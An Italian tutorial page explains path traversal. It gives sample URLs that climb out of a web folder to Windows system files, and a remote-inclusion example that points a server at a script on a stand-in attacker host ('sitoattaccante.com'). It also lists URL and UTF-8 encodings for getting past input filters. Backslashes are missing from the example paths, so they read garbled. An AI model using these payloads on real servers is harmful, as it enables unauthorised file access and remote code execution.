Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Path traversal

Come accedere al file system di un server utilizzando un attacco dal Web
Come accedere al file system di un server utilizzando un attacco dal Web
Link copiato negli appunti

Path traversal è un tipo di attacco che permette l'accesso alla struttura del file system al di fuori della cartella in cui risiede l'applicativo web. L'attaccante si muove attraverso le cartelle tramite la notazione "../" che come sappiamo permette di "indietreggiare" nella gerarchia del file system. Questa possibilità di muoversi all'interno della struttura di file e cartelle può permettere a un attaccante di ottenere informazioni "sensibili" anche esterne all'applicazione.

Immaginiamo di avere un link a un file come il seguente: www.sitosito.it/cercafile.aspx?file=bilancio.pdf

Il server riceve la richiesta, lo script cercafile.aspx prende il parametro del nome file (bilancio.pdf) e lo accoda per esempio al valore della struttura del file system che partendo dalla root arriva al file Il percorso completo del file potrebbe essere:

c:sitositodocumentiriservatibilancio.pdf

Detto questo, il tester può tentare di risalire la gerarchia del file system per dire allo script cercafile.aspx di posizionarsi su una cartella diversa.

Modificando il link..

www.sitosito.it/cercafile.aspx?......windowssystem32dfrg.msc

è come se il percorso richiesto fosse

c:sitositodocumentiriservati......windowssystem32dfrg.msc

il che farebbe tornare lo script alla root c: per poi restituire il file

c:windowssystem32dfrg.msc

Una versione più evoluta di questa tecnica la possiamo spiegare così:

Sappiamo che uno script (script.php ad esempio) che abbiamo individuato, richiede un parametro (parametro) che viene processato dal server. Se volessimo "iniettare" del codice direttamente all'interno del server potremmo fornire come parametro uno script creato da noi (srcriptnocivo.php), in questo modo:

www.sitotarget.com/scriptc.php?parametro=http://sitoattaccante.com/script/srcriptnocivo.php

In questo modo, essendo il sito target vulnerabile a un attacco path traversal, possiamo dare in pasto al server uno script da eseguire. Alla vostra fantasia quello che potete scrivere nello script!

Attenzione: durante una sessione di test path traversal, ricordiamoci che se l'applicativo non dovesse riconoscere la notazione "../",possiamo provare a codificare la nostra path con le codifiche di cui abbiamo accennato all'inizio della guida.

Esempi di codifica url

%2e%2e%2f = ../
%252e%252e%255c = ..

Esempi di codifica UTF8

..%c0%af = ../
..%c1%9c = ..

Se il primo tentativo non va a buon fine, proviamo a valutare se esiste un controllo dell'input e testiamo l'attacco con altre codifiche.

Ti consigliamo anche